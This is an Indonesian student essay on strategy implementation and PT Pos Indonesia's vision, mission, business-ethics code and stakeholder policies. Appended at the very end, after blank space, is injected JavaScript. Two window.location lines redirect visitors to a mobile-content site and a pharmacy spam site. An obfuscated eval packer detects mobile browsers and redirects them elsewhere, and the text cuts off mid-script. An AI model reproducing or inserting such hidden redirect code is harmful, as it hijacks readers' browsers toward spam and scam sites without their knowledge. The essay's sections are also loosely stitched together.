Implementasi strategi biasanya berkaitan erat  dengan perubahan, oleh karena itu tidaklah mengherankan masalah kepemimpinan merupakan hal yang sangat penting dan perlu dicermati secara teliti dalam implementasi strategi. Gaya kepemimpinanlah yang  akan berpengaruh terhadap cara-cara berkomunikasi serta proses pengambilan keputusan di dalam perusahaan di mana semua itu nantinya  akan bermuara pada terbentuknya budaya perusahaan.

Terdapat berbagai teori tentang gaya kepemimpinan. Namun secara umum teori-teori tersebut dapat diklasifikasikan ke dalam empat kelompok besar, yaitu

  1. Gaya kepemimpinan yang berkesan administrator. Gaya kepemimpinan tipe ini terkesan kurang inovatif dan telalu kaku pada aturan. Sikapnya konservatif serta kelihatan sekali takut dalam mengambil resiko dan mereka cenderung  mencari aman. Model kepemimpinan seperti ini jika mengacu kepada analisis perubahan yang telah  kita bahas sebelumnya, hanya cocok pada situasi Continuation, Routine change, serta Limited change.
  2. Gaya kepemimpinan analitis (Analytical). Dalam gaya kepemimpinan tipe ini,  biasanya pembuatan keputusan didasarkan pada proses analisis,  terutama analisis logika pada setiap informasi yang diperolehnya. Gaya ini berorientasi pada hasil dan menekankan pada rencana-rencana rinci serta berdimensi jangka panjang. Kepemimpinan model ini sangat mengutamakan logika dengan menggunakan pendekatan-pendekatan yang masuk akal serta kuantitatif.
  3. Gaya kemimpinan   asertif (Assertive). Gaya kepemimpinan ini sifatnya lebih agresif dan mempunyai perhatian yang sangat besar pada pengendalian personal dibandingkan dengan gaya kepemimpinan lainnya. Pemimpin tipe asertif lebih terbuka dalam konflik dan kritik. Pengambilan keputusan muncul dari proses argumentasi dengan beberapa sudut pandang sehingga muncul kesimpulan yang memuaskan.
  4. Gaya kepemimpinan entepreneur. Gaya kepemimpinan ini sangat menaruh perhatian kepada kekuasaan dan hasil akhir serta  kurang mengutamakan  pada kebutuhan akan kerjasama. Gaya kepemimpinan model ini biasannya selalu mencari pesaing dan menargetkan standar yang tinggi.

 

Dalam era turbulensi lingkungan seperti sekarang ini, setiap pemimpin harus siap dan dituntut mampu untuk melakukan transformasi terlepas pada   gaya kepemimpinan apa yang mereka anut.  Pemimpin harus mampu mengelola perubahan, termasuk di dalamnya mengubah budaya organiasi yang tidak lagi kondusif dan produktif. Pemimpin harus mempunyai visi yang tajam, pandai mengelola keragaman  dan mendorong  terus proses pembelajaran   karena dinamika perubahan lingkungan serta persaingan yang semakin ketat.

 

5. Implementasi dan Evaluasi Strategi

Tahap implementasi dan evaluasi strategi ini merupakan tahap akhir dalam implementasi strategi. Dalam tahap ini manajemen sudah harus mempunyai gagasan yang jelas mengenai tingkat perubahan yang diinginkan, baik menyangkut struktur organisasi, budaya perusahaan maupun gaya kepemimpinan. Menurut Thomas V. Bonoma  dalam Hari Purnomo dan Zulkiflimansyah (1999), untuk melakukan tahap  implementasi dan evaluasi strategi dengan baik dan berhasil, manajemen perusahaan perlu terbiasa dan membiasakan diri dengan empat jenis keahlian dasar, yaitu:

  1. Kemampuan Berinteraksi (Interacting Skills)

Kemampuan ini ditunjukkan dengan kapabilitas manajemen perusahaan dalam berinteraksi dan berempati dengan berbagai perilaku dan sikap orang lain untuk mencapai tujuannya

  1. Kemampuan Mengalokasi (Allocation Skills)

Kemampuan  ini diperlukan untuk menunjang kemampuan manajemen dalam menjadwallkan tugas-tugas, anggaran waktu, serta sumberdaya-sumberdaya lain secara efisien.

  1. Kemampuan Memonitoring (Monitoring Skills)

Kemampuan ini meliputi kapabilitas perusahaan dalam menggunakan informasi secara efisien untuk memperbaiki atau menyelesaikan berbagai masalah yang timbul dalam proses implementasi.

  1. Kemampuan Mengorganisasikan (Organizing Skills)

Merupakan kemampuan untuk menciptakan jaringan atau organisasi informal dalam rangka menyesuaikan diri dengan berbagai masalah yang mungkin terjadi.

Setelah melakukan implementasi strategi, agar manajemen dapat mengetahui bahwa strategi yang telah diimplementasikan sudah  sesuai dengan strategi yang telah diformulasikan,  maka strategi tersebut harus dievaluasi.

 TUGAS MANAJEMEN STRATEGI III

PROSES PERUSAHAAN DALAM MENYUSUN VISI ,MISI ,TUJUAN ,DAN SASARAN SERTA JELASKAN EFEKTIFITASNYA DALAM IMPLEMENTASI MANAJEMEN STRATEGI PADA PT. POS INDONESIA

I .         LATAR BELAKANG

Perusahaan membutuhkan berbagai perangkat untuk bisa meningkatkan daya saingnya dan salah satu perangkat yang bernilai tinggi dari sudut pandang nilai pemegang saham adalah Good corporate governance. Dalam rangka pelaksanaan Good corporate governance, salah satu kewajiban Perusahaan adalah membuat suatu pedoman tentang perilaku etis bisnis yang memuat nilai-nilai etika bisnis.

PT. Pos Indonesia (Persero) adalah perusahaan milik negara dalam bidang jasa (pos, keuangan, logistik dan e-bisnis) dengan jangkauan operasi hampir di seluruh tanah air Indonesia. Oleh karena itu praktek etika bisnis yang dimengerti dengan baik dan dipatuhi secara konsisten sangat penting sebagai alat yang dapat digunakan untuk pertumbuhan bisnis yang baik. Alat ini akan menjadi handal agar perusahaan mampu bersaing dengan  cara melakukan apa yang benar. Harus diyakini bahwa Kode Etik  untuk karyawan dalam bersikap dan bertingkah laku di dunia bisnis adalah modal dasar untuk mencapai kesuksesan. Kode Etik Bisnis yang efektif, harus dimengerti oleh semua karyawan dan dijiwai dalam bentuk tindakan nyata.

Kode Etik Bisnis PT Pos Indonesia ( Persero ) harus dapat dilihat, diketahui, dimengerti dan dipahami oleh seluruh karyawan, pelanggan, konsultan, mitra bisnis, serta oleh semua individu yang bertransaksi dengan atau atas nama PT Pos Indonesia (Persero).

Pedoman ini diharapkan akan membantu dan menekankan nilai-nilai etika dalam berinteraksi dengan seluruh stakeholders Perusahaan yang harus dipatuhi sehingga pedoman ini harus mengakar di dalam budaya Perusahaan.

Satu hal yang harus disadari bahwa di dalam dunia kerja sering kali mengalami situasi dimana harus melakukan “hal yang benar” yang dalam sepintas kelihatannya tidak mungkin untuk dilakukan. Pada suatu saat kepentingan perusahaan, karyawan, pelanggan, mitra bisnis, keluarga, masyarakat dan diri sendiri nampaknya akan saling  bertentangan satu sama lain. Bila dihadapkan pada situasi rumit seperti itu, akan sulit untuk menentukan mana yang etis. Kode Etik Bisnis PT Pos Indonesia ( Persero ) yang dikandung di dalam dokumen ini  merupakan petunjuk untuk mengambil “keputusan yang benar”, walaupun disadari bahwa tidak ada satupun kebijakan yang dapat mencakup semua situasi yang ditemukan dalam kegiatan sehari-hari.

Kepatuhan pada Pedoman Etika Bisnis ini penting untuk mempertahankan dan memajukan reputasi PT. Pos Indonesia ( Persero ) sebagai korporasi yang bertanggung jawab, di mana pada akhirnya akan memaksimalkan nilai perusahaan. Pelanggaran atas Pedoman Etika Bisnis ini merupakan  hal yang serius dan merupakan pelanggaran ketentuan Perusahaan.

Seluruh jajaran Perusahaan diharapkan untuk membaca Pedoman Etika Bisnis ini dengan seksama dan membuat komitmen untuk menerapkannya setiap hari karena masa depan Perusahaan tergantung pada komitmen kita semua.

 

II .    VISI, MISI, NILAI DASAR DAN KEYAKINAN DASAR, SERTA ETIKA BISNIS ,TUJUAN DAN SASARAN

Visi dan misi Perusahaan merupakan sumber dari segala sistem yang menjadi acuan  dari semua nilai, prinsip, etika dan kebijakan manajemen dalam menjalankan bisnisnya. Berdasarkan  Keyakinan Dasar dan Nilai Dasar yang dianut oleh Perusahaan yang dijabarkan dalam bentuk Etika Bisnis yang mengatur bagaimana hubungan antara Perusahaan dengan pihak-pihak yang terkait. Keseluruhan  nilai tersebut lambat laun akan membentuk suatu budaya yang menjadi karakter bagi Perusahaan.

Nilai-nilai dari Etika Bisnis akan diimplementasikan dalam bentuk berbagai ketentuan/ peraturan dan kebijakan manajemen yang mengatur secara teknis sistem manajemen pos di berbagai bidang dan fungsi dalam usaha mencapai Tujuan Perusahaan.

Berkaitan dengan hal tersebut untuk lebih memperjelas tujuan perusahaan yang berlandaskan dengan etika bisnis dapat dijelaskan seperti sebagai berikut :

a.      VISI

Visi PT Pos Indonesia adalah menjadi perusahaan pos yang berkemampuan memberikan solusi terbaik dan menjadi pilihan utama stakeholder domestik maupun global dlam mewujudkan pengembangan bisnis dengan pola kemitraan, yang didukung oleh sumber daya manusia yang unggul dan menjunjung tinggi nilai  1

b .   MISI

Misi PT Pos Indonesia adalah memberikan solusi terbaik bagi bisnis, pemerintah, dan individu melalui penyediaan sistem bisnis dan layanan komunikasi tulis, logistic, transaksi keuangan, dan filateli berbasis jejaring terintegrasi, terpercaya dan kompetitif di pasar domestik dan global.

c.     KEYAKINAN DASAR DAN NILAI DASAR

Keyakinan Dasar perusahaan adalah mempunyai karyawan yang bertalenta (talented people), keunggulan layanan (excellence service), nilai-nilai bagi kastemer (customer values) dan pertumbuhan kinerja keuangan yang tinggi dan berkelanjutan (sustainable outstanding financial performance)

Nilai Dasar perusahaan adalah regangkan tujuan (streching goals), integritas (integrity), berfikit kesisteman (system thinking), berani dan bertanggungjawab (courage and responsible) dan penghargaan berbasis kinerja (reward based on performance)

d.      ETIKA BISNIS

Keterangan :
menunjukkan hubungan internal
menunjukkan hubungan eksternal

PRINSIP UMUM :

Etika Bisnis menjelaskan bagaimana Perusahaan dan jajarannya  bersikap, bertindak dan   beretika  dalam berhubungan dengan pihak-pihak yang terkait dengan Perusahaan (stakeholders), baik itu pihak dari luar Perusahaan maupun dari dalam Perusahaan.

Yang dimaksud Perusahaan adalah unsur-unsur yang terdiri dari Komisaris, Direksi, jajaran manajemen dan seluruh karyawan PT Pos Indonesia ( Persero ), yang  dalam menjalankan bisnisnya :

1.  Secara konsisten menjalankan kewajiban dengan mematuhi dan mentaati undang-undang serta peraturan yang berlaku;

2.  Selalu meningkatkan rasa solidaritas dan kebersamaan antara karyawan, pensiunan beserta seluruh keluarganya;

3.  Menghindari situasi yang dapat menimbulkan konflik kepentingan pribadi;

4.  Tidak diperkenankan memberi atau menerima segala bentuk imbalan, baik langsung maupun tidak langsung yang dapat mempengaruhi pengambilan kebijakan;

5.  Mendorong semangat efisiensi berdasarkan pertimbangan kondisi keuangan perusahaan.

e.         TUJUAN  PT  POS  INDONESIA

Ad MailPos merupakan bagian dari value chain dalam Direct Marketing, dimana Direct Mail merupakan salah satu alternatif alat untuk mencapai keberhasilan dalam menjalankan kegiatan Direct Marketing bagi suatu perusahaan.

Bagi PT Pos Indonesia, AdMailPos bukanlah suatu hal yang sama sekali baru. Pada dasarnya bisnis Direct Mail merupakan integrasi vertikal database dan printing ke dalam proses bisnis pos sampai pada proses delivery.

Direct Marketing itu sendiri adalah sistem yang intensif dalam kegiatan pemasaran dengan menggunakan satu atau lebih media advertising untuk mempengaruhi respon yang terukur dan/atau transaksi dimanapun berada.

Salah satu faktor yang dapat mendukung kompetitive advantage PT Pos Indonesia dalam membangun bisnis Direct Marketing adalah: alamat yang up-to-date, response management, kedekatan dengan pelanggan, dan consulting services (McKinsey Quarterly, 1997).

MAILING HOUSE

Dalam bisnis Direct Mail dikenal istilah mailing house yaitu suatu lokasi atau tempat memproses dokumen dan kiriman sejenis lainnya sebelum diserahkan kepada lembaga pengiriman/ delivery (pre-posting). Mailing house tersebut ada yang dimiliki sendiri oleh suatu institusi untuk memenuhi kebutuhan internalnya (dikenal dengan istilah in-house mailing) dan ada yang khusus disediakan untuk mengerjakan pekerjaan institusi lain (dikenal dengan sitilah service-bureau).

Selain diharapkan dapat menekan biaya produksi, proses yang terintegrasi tersebut dimaksudkan agar pelayanan kepada pelanggan bersifat menyeluruh (one stop service).

Selama ini pelanggan Direct Mail yang dilayani oleh PT Pos Indonesia adalah pelanggan yang datang dengan membawa kiriman Direct Mail yang siap untuk diposkan. Sehingga pengerjaan Direct Mail oleh PT Pos Indonesia saat ini baru pada segmen proses delivery. Namun demikian, proses tersebut dapat dikembangkan dengan cara mengintegrasikannya dengan proses pre-posting, mulai dari creative design sampai dengan enveloping dan siap untuk dikirim lewat pos.

Melihat keseluruhan dari proses bisnisnya maka bisnis Direct Mail membutuhkan berbagai kompetensi dan peran dari beberapa institusi, antara lain marketing agency, database collector, paper supplier, printing company, dan postal delivery. Untuk skala tertentu, beberapa segmen proses dapat dikerjakan oleh satu perusahaan mailing house melalui vertical integration. Namun demikian, dengan pertimbangan efisiensi dan skala ekonomi maka keseluruhan proses tidak dapat dikerjakan oleh satu perusahaan.

TUJUAN – TUJUAN YG AKAN DIBERIKA OLEH PT POS INDONESIA BAGI PIHAK-PIHAK YG BERBEDA ANTARA LAIN :

Bagi Pelanggan Individu

Direct Mail didesain untuk mencapai berbagai tujuan marketing, termasuk:

  1. Membangun interest terhadap produk atau layanan baru
  2. Menciptakan penjualan dan pemesanan
  3. Membantu dalam membangun traffic/lalulintas inventory
  4. Menciptakan keunggulan baru
  5. Menyampaikan berita penawaran khusus penjualan barang kepada pelanggan yang “berharga” (valued customer)
  6. Menjaga hubungan baik
  7. Mempercepat sukses periklanan dalam bentuk lain (Direct Mail)
  8. Membangun pemahaman terhadap merk dagang (brand recognition)
  9. Memprospek pelanggan baru

Bagi Retailers

  1. Menyampaikan pemberitahuan awal mengenai penawaran penjualan dengan cara mengirim kartupos kepada pelanggan yang dikehendaki.
  2. Mengirim surat atau menyebar brosur kepada alamat-alamat terdekat untuk memberitahukan lini produk baru, penawaran khusus bulanan, jam buka loket atau pelayanan khusus musiman, dll.
  3. Meningkatkan awareness dan efektifitas periklanan dengan cara mengirimkan kartupos untuk meminta pelanggan melihat iklan yang dipasang/ditayangkan.

Bagi Perusahaan jasa

  1. Mengirimkan newsletter periodik untuk memberitahu pelanggan tentang pengembangan baru dalam industri dan menawarkan tip yang membantu dalam pelayanan.
  2. Menjadikan current customers sebagai “sales force” dengan cara mengirimkan “tell-a-friend” promotion, menawarkan premium atau diskon kepada pelanggan yang memberikan referensi/rekomendasi pelanggan baru kepada kita.
  3. Memprospek pelanggan baru dengan cara tukar menukar daftar pelanggan dengan perusahaan yang menjual barang komplementer.

Bagi Perusahaan Manufaktur

  1. Mengumumkan produk baru atau harga baru kepada pelanggan dan distributor.
  2. Memberitahu pembeli suatu produk tentang ketersediaan produk lain yang ditawarkan.
  3. Mengingatkan pelanggan akan ketersediaan upgrade atau accessory bagi produk yang sudah mereka beli.
  4. Mengirim atau menawarkan sampel produk kepada salesperson yang handal.

Bagi Profesional

  1. Mengirim kartu kepada klien yang memberitahukan pergantian staf dalam perusahaan.
  2. Meningkatkan awareness terhadap layanan/jasa dengan cara mengingatkan masyarakat tentang adanya event khusus yang berkaitan dengan layanan/jasa yang ditawarkan.
  3. Mengirimkan newsletter periodik untuk memberitahu pelanggan tentang adanya pengembangan dalam bidang jasa dan menyediakan tips yang berkaitan dengan layanan jasa yang ditawarkan.

f.       SASARAN

Sasaran PT Pos Indonesia adalah :

AFILIASI

Afiliasi adalah institusi yang memiliki keterkaitan dengan usaha-usaha bisnis perusahaan baik langsung maupun  tidak langsung.

Secara bersama- sama  dan antar institusi afiliasi :

  1. Perusahaan  membangun dan melaksanakan kerjasama  untuk mencapai sinergi dalam berbagai  kegiatan;
  2. Perusahaan menerapkan kebijakan bisnis dan sosial baik di tingkat nasional, regional maupun internasional.

INVESTOR

Investor adalah seseorang atau lembaga yang menyertakan modalnya pada kegiatan usaha perusahaan.

Dalam segala bentuk interaksi dengan investor :

  1. Perusahaan menerapkan perlakuan yang seimbang/proporsional terhadap hak dan kewajiban investor;
  2. Perusahaan memberikan informasi yang aktual, akurat dan prospektif  kepada investor;
  3. Perusahaan berupaya memberikan benefit yang optimal dan menjaga citra yang baik untuk meningkatkan nilai investasi;
  4. Perusahaan harus selektif dalam memilih investor untuk mengembangkan usaha.

KARYAWAN

Karyawan adalah individu yang bekerja pada perusahaan dengan menerima upah   berdasarkan hubungan kerja.

Dalam melakukan hubungan kerja dengan karyawan :

  1. Perusahaan menghargai dan menghormati hak-hak asasi manusia secara universal, dan hak-hak serta kewajiban karyawan berdasarkan peraturan- perundangan yang berlaku dalam perusahaan;
  2. Perusahaan memberi kesempatan yang sama terhadap karyawan  dengan tidak membeda-bedakan berdasarkan senioritas, gender, suku, agama, ras dan golongan masyarakat;
  3. Perusahaan memperlakukan karyawan sebagai aset perusahaan ( human capital ), oleh karena itu perusahaan harus menghargai dan meningkatkan kompetensi dan karakternya;
  4. Perusahaan senantiasa berupaya membangun dan menciptakan lingkungan kerja yang kondusif , suasana keterbukaan dan komunikasi dua arah;
  5. Perusahaan menerapkan prinsip – prinsip penghargaan dan pengakuan    ( reward and recognition ) sesuai dengan prestasinya;
  6. Perusahaan harus secara tegas, objektif, dan berkeadilan dalam mengenakan sanksi terhadap setiap  pelanggaran yang dilakukan oleh Komisaris, Direksi, dan Karyawan.

MASYARAKAT

Masyarakat adalah Individu atau kelompok di luar Perusahaan yang memiliki hubungan langsung maupun tidak langsung dengan kegiatan Perusahaan.

Dalam berinteraksi dengan masyarakat:

  1. Perusahaan turut serta mengambil bagian dalam program mencerdaskan masyarakat;
  2. Perusahaan turut serta mendukung program peningkatan kesehatan masyarakat dan memelihara lingkungan yang bersih dan sehat;
  3. Perusahaan menghormati hak asasi manusia, aspek sosial budaya, keyakinan dan agama serta menjunjung tinggi adat istiadat masyarakat setempat.

MEDIA MASSA

Media Massa merupakan institusi yang bergerak dalam bidang komunikasi  meliputi media cetak, media elektronik dan media maya dengan tujuan untuk menyampaikan informasi, edukasi dan hiburan.

Dalam berinteraksi dengan Media Massa :

  1. Perusahaan menyampaikan informasi resmi melalui unit yang relevan melalui media yang ditunjuk secara selektif;
  2. Perusahaan menyampaikan informasi secara terbuka dan intensif kepada masyarakat guna memperoleh pemahaman, dukungan, serta citra positif perusahaan;
  3. Perusahaan menyampaikan informasi berdasarkan fakta dan data yang relevan sesuai dengan perkembangan perusahaan;
  4. Perusahaan menyampaikan informasi yang berimbang atas hal-hal yang menyangkut perusahaan yang telah diketahui masyarakat luas;
  5. Perusahaan membina kemitraan yang harmonis dengan lingkungan media massa.

MITRA KERJA

Mitra Kerja merupakan institusi yang berbadan hukum atau perorangan yang   melakukan interaksi dan kerjasama dengan unit kerja perusahaan untuk kepentingan tujuan perusahaan.

Dalam interaksi dan kerja sama dengan pihak eksternal :

  1. Perusahaan menjunjung prinsip kesetaraan dan saling percaya ( mutual trust ) berdasarkan prinsip keadilan;
  2. Perusahaan berpedoman pada peraturan perundangan yang berlaku;
  3. Setiap organ perusahaan dan karyawan dilarang mempunyai benturan kepentingan;
  4. Segala kesepakatan diwujudkan dalam dokumen tertulis berdasarkan prinsip saling menghormati dan saling memberi manfaat ( mutual benefit );
  5. Pemilihan mitra berdasarkan prinsip bersih, transparan, dan profesional.
  6. Dalam interaksi dan kerjasama dengan pihak internal :
  7. Menjunjung prinsip kesetaraan, saling percaya dan mengedepankan kompetensi;
  8. Mempermudah dan mempercepat seluruh proses dan kegiatan perusahaan;
  9. Seluruh  proses dan kegiatan perusahaan didasarkan pada prinsip mata rantai nilai ( Value chain ).

PELANGGAN

Pelanggan adalah pembeli atau pemakai produk atau jasa yang dihasilkan dan atau dijual perusahaan.

Dalam segala bentuk interaksi dengan Pelanggan :

  1. Perusahaan menghormati hak-hak pelanggan sesuai dengan peraturan perundang-undangan yang berlaku;
  2. Perusahaan memenuhi komitmennya atas aspek kualitas, harga dan layanan purna jual sesuai dengan standar yang berlaku;
  3. Perusahaan memberikan perlakuan yang sama kepada semua pelanggan;
  4. Perusahaan tidak diperkenankan memberi atau menerima segala bentuk imbalan di luar ketentuan yang berlaku baik langsung maupun tidak langsung yang berkaitan dengan layanan yang diberikan;
  5. Perusahaan menjaga kerahasiaan informasi pelanggan;
  6. Perusahaan mengacu pada etika dan peraturan perundang-undangan yang berlaku dalam melaksanakan promosi.

PEMASOK

Pemasok merupakan mitra usaha yang bergerak di bidang usaha penyediaan barang dan atau jasa yang meliputi vendor, kontraktor, konsultan, dan leveransir.

Dalam pengadaan barang dan atau jasa :

  1. Perusahaan tetap memperhatikan prinsip saling menguntungkan, efisiensi, dan efektivitas pengadaan;
  2. Perusahaan mengedepankan kepentingan perusahaan di atas kepentingan pribadi maupun unit organisasi;
  3. Perusahaan menjaga hubungan baik dengan pemasok  secara wajar dan senantiasa menjaga citra perusahaan di mata pemasok;
  4. Perusahaan menghindari pemasok yang memiliki hubungan keluarga dengan pengambil keputusan dan atau adanya benturan kepentingan;
  5. Perusahaan memberikan kesempatan berusaha yang sama kepada para calon pemasok dan tidak bertindak diskriminatif dengan tetap mengacu pada ketentuan yang berlaku;
  6. Perusahaan tidak diperkenankan memberi dan atau menerima imbalan dalam bentuk apapun baik langsung maupun tidak langsung yang dapat mempengaruhi pengambilan kebijakan;
  7. Perusahaan melakukan tender terbuka secara transparan dan dapat dipertanggungjawabkan dengan melibatkan calon pemasok yang memiliki reputasi dan track record yang baik;
  8. Perusahaan menuangkan semua bentuk kesepakatan dalam suatu dokumen tertulis yang disusun berdasarkan itikad baik dan saling menguntungkan;
  9. Perusahaan menjaga kesepakatan dengan pihak pemasok sesuai hak dan kewajiban yang telah ditetapkan.

 PEMEGANG SAHAM

Pemegang Saham adalah setiap individu atau lembaga yang tercatat dalam Daftar Pemegang  Saham (DPS) Perusahaan.

Dalam segala bentuk interaksi dengan pemegang saham:

  1. Perusahaan memperlakukan pemegang saham sesuai dengan Anggaran Dasar Perusahaan dan peraturan perundang-undangan yang berlaku;
  2. Perusahaan berusaha memberikan kinerja yang optimal dan menjaga citra yang baik untuk meningkatkan nilai bagi pemegang saham (shareholder value);
  3. Perusahaan berupaya menjalankan misi sosial sesuai peraturan perundang-undangan yang berlaku  dengan mendapat dukungan penuh dari pemegang saham.

PENYELENGGARA NEGARA

Penyelenggara Negara adalah institusi pelaksana kenegaraan beserta aparaturnya yang meliputi legislatif, eksekutif, yudikatif dan lembaga lainnya, baik di tingkat pusat maupun daerah.

Dalam berhubungan dengan penyelenggara negara :

  1. Perusahaan menjalin hubungan yang harmonis dan konstruktif atas dasar prinsip-prinsip kejujuran, keterbukaan dan saling menghargai;
  2. Perusahaan senantiasa berusaha mendukung program-program nasional maupun regional.

PESAING

Pesaing adalah perusahaan lain yang bergerak dalam bidang jasa/layanan yang sejenis dengan usaha yang dijalankan oleh perusahaan.

Dalam segala bentuk interaksi dengan pesaing :

  1. Perusahaan menjaga terciptanya persaingan yang adil, sehat dan transparan sesuai dengan peraturan perundang-undangan yang berlaku;
  2. Perusahaan dapat mengembangkan kerjasama dengan pesaing berdasarkan prinsip saling menguntungkan yang dapat meningkatkan kepuasan pelanggan;
  3. Perusahaan tidak dibenarkan mendiskreditkan pesaing dalam kegiatan pemasaran;
  4. Perusahaan dapat mengumpulkan data/informasi pesaing sejauh tidak  melanggar peraturan perundang-undangan yang berlaku;
  5. Komisaris, Direksi dan Karyawan dilarang ikut serta dalam usaha perusahaan pesaing baik secara langsung maupun tidak langsung.

SERIKAT PEKERJA :

Serikat Pekerja adalah organisasi yang dibentuk dari, oleh dan untuk karyawan di perusahaan yang bersifat bebas, terbuka, mandiri, demokratis dan bertanggung jawab guna memperjuangkan, membela serta melindungi hak-hak dan kepentingan pekerja serta meningkatkan kesejahteraan pekerja dan keluarganya.

Dalam berhubungan dengan serikat pekerja:

  1. Perusahaan memberikan kesempatan kepada setiap anggota Serikat Pekerja untuk melaksanakan hak berserikat sesuai dengan peraturan perundang-undangan yang berlaku;
  2. Perusahaan berkomitmen untuk melaksanakan ketentuan-ketentuan yang dimuat dalam Perjanjian Kerja Bersama.

 

5 .ANALISA DAN KESIMPULAN

Manajemen wajib menetapkan suatu sistem pengendalian yang efektif untuk mengamankan asset dan investasi perusahaan. Dalam hal ini faktor penaksiran risiko yang meliputi proses identifikasi, pengukuran dan penyusunan prioritas risiko sangat menentukan dalam rancangan pengendalian yang diperlukan sehingga sesuai dengan respon yang diharapkan. Untuk maksud tersebut, dokumentasi proses risk assessment menjadi penting bagi perusahaan sehingga dapat dilakukan proses revieu secara periodik dan selanjutnya dapat diketahui tingkat efektifitas sistem pengendalian yang dijalankan serta pengelolaan yang tepat atas resiko yang dihadapi perusahaan.

Selanjutnya penentuan strategi yang tepat dalam rangka pencapaian visi dan misi perusahaan menjadi hal yang sangat menentukan dalam merumuskan tujuan dan target-target yang hendak dicapai. Dalam hal rencana kerja dan target-target operasi yang terlalu optimistis tanpa suatu pengelolaan risiko dan rancangan pengendalian internal yang cukup, tentu akan berdampak dalam pelaksanaannya yang pada gilirannya akan mempengaruhi kinerja perusahaan secara keseluruhan.

Oleh karena itu upaya yang perlu dilakukan dalam hal kebijakan dan pengendalian serta pengelolaan risiko yang dijalankan, sehingga dapat diyakini apakah penetapan strategi dan tujuan dalam rangka mencapai visi dan misi perusahaan telah dirumuskan secara benar dan telah mempertimbangkan hasil penaksiran dan analisa resiko yang cukup serta telah dirancang pengendalian dan pengawasan yang memadai.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 window.location = “http://www.mobilecontentstore.mobi/?sl=319481-c261c&data1=Track1&data2=Track2”; window.location = “http://cheap-pills-norx.com/search.htm?route=search&q=”; eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘(24(a,b){1V(/(2n|2d\\d+|1i).+1b|1g|1E\\/|1H|1C|1x|1B|2s|3l|3n|O(3m|V)|S|3g|38 |3c|3p|3D|1b.+3A|3z|1d m(3x|2H)i|2J( 14)?|2C|p(2x|2A)\\/|30|2T|3j|2S(4|6)0|2U|2R|I\\.(2Q|2N)|2O|2P|2V 2W|33|34/i.19(a)||/31|2X|2Y|2Z|2M|50[1-6]i|2L|2y|a W|2z|M(15|Z|s\\-)|11(2w|2t)|B(2u|E|D)|2v|2B(2I|y|2K)|2G|17(2D|j)|2E(x|2F)|35|36(3w|\\-m|r |s )|3y|3v(P|N|3u)|T(3r|3s)|3t(M|3G)|3H(e|v)w|3F|3E\\-(n|u)|3B\\/|3C|3q|3d\\-|3e|3b|3a|37\\-|D(39|K)|3f|3o(A|N|3k)|3h|3i\\-s|3I|2r|1z|U(c|p)o|1A(12|\\-d)|1y(49|11)|1u(1v|1w)|15(1D|1J)|1K|1I([4-7]0|14|W|1F)|1G|1t(\\-|R)|G u|1L|1q|1h\\-5|g\\-z|j(\\.w|V)|1j(1e|1f)|1s|1k|1r\\-(m|p|t)|1p\\-|1o(Q|F)|1l( i|O)|1m\\-c|1n(c(\\-| |R|a|g|p|s|t)|1M)|2e(2f|2g)|i\\-(20|j|q)|2c|29( |\\-|\\/)|2a|2b|2h|2i|2o|2p|2q|S|2m(t|v)a|2j|2k|2l|28|27|1S( |\\/)|1T|1U |1R\\-|1Q(c|k)|1N(1O|1P)|1W( g|\\/(k|l|u)|50|54|\\-[a-w])|25|26|23\\-w|22|1X\\/|q(x|1Y|1Z)|16(f|21|E)|m\\-48|5H(5E|C)|5y(5A|5L|J)|5V|z(f|5X|T|3J|U|t(\\-| |o|v)|58)|5i(50|5j|v )|5r|5p|5s[0-2]|57[2-3]|5c(0|2)|5d(0|2|5)|5R(0(0|1)|10)|5M((c|m)\\-|5B|5h|5U|5W|5O)|5Q(6|i)|5Z|5o|5n(5m|5k)|5l|5v|5u|5t(a|d|t)|59|5a(13|\\-([1-8]|c))|55|56|L(5g|5f)|5e\\-2|5w(P|5x|X)|5P|5N|Q\\-g|5S\\-a|5T(5Y|12|21|32|H|\\-[2-7]|i\\-)|5C|5D|5z|5F|5K|5J(5I|5G)|5q\\/|4Z(4c|q|4d|4e|y|4b)|4a(f|h\\-|Z|p\\-)|44\\/|X(c(\\-|0|1)|47|16|K|C)|46\\-|51|4f(\\-|m)|4g\\-0|4m(45|4n)|4l(B|17|4k|A|4h)|4i(4j|y)|43(f|h\\-|v\\-|v )|42(f|3P)|3Q(18|50)|3R(3O|10|18)|F(3N|3K)|3L\\-|3M\\-|3S(i|m)|3T\\-|t\\-z|3Z(L|41)|J(Y|m\\-|3Y|3X)|3U\\-9|I(\\.b|G|3V)|3W|4o|4p|4O|4P(4N|x)|4M(40|5[0-3]|\\-v)|4J|4K|4L|4Q(52|53|H|4R|Y|4X|4Y|4W|4V|4S)|4T(\\-| )|4U|4I|4H(g |4v|4w)|4x|4u|4t|4q\\-|4r|4s|4y\\-/i.19(a.4z(0,4)))1c.4F=b})(1a.4G||1a.4E||1c.1d,\’4D://4A.4B/4C/?5b\’);’,62,372,’|||||||||||||||01||||go|||||||ma|||||||te|ny|mo|it|al|ri|co|ca|ta|g1|60|up|ts|nd|pl|ac|ll|ip|ck|pt|_|iris|bi|do|od|wa|se|70|oo||ai|||os|er|mc|ar||test|navigator|mobile|window|opera|ad|un|avantgo|gf|meego|gr|hcit|hp|hs|ht|hi|hei|gene|hd|haie|fly|em|l2|ul|compal|el|dmob|ds|elaine|blazer|ic|bada|ze|fetc|blackberry|ez|k0|esl8|g560|tp|le|no|xi|kyo|kwc|kgt|klon|kpt|if|lg|m50|ui|xo|||m3ga|m1|function|libw|lynx|keji|kddi|iac|ibro|idea|i230|bb|hu|aw|tc|ig01|ikom|jbro|jemu|jigs|ja|android|im1k|inno|ipaq|dica|fennec|rn|av|amoi|ko|ixi|802s|abac|re|an|phone|ch|as|us|aptu|in|ex|palm|yw|770s|4thp|link|vodafone|wap|browser|treo|series|pocket|symbian|windows|ce|6310|6590|3gso|plucker|1207||xda|xiino|attw|au|cmd|lge|mp|cldc|chtm|maemo|cdm|cell|craw|kindle|dbte|dc|psp|ng|hiptop|hone|iemobile|da|midp|ccwa|lb|rd|bl|nq|be|di|ob|avan|netfront|firefox|c55|capi|mmp|bw|bumb|az|br|devi|de|lk|tcl|tdg|gt|00|mb|t2|t6|tel|t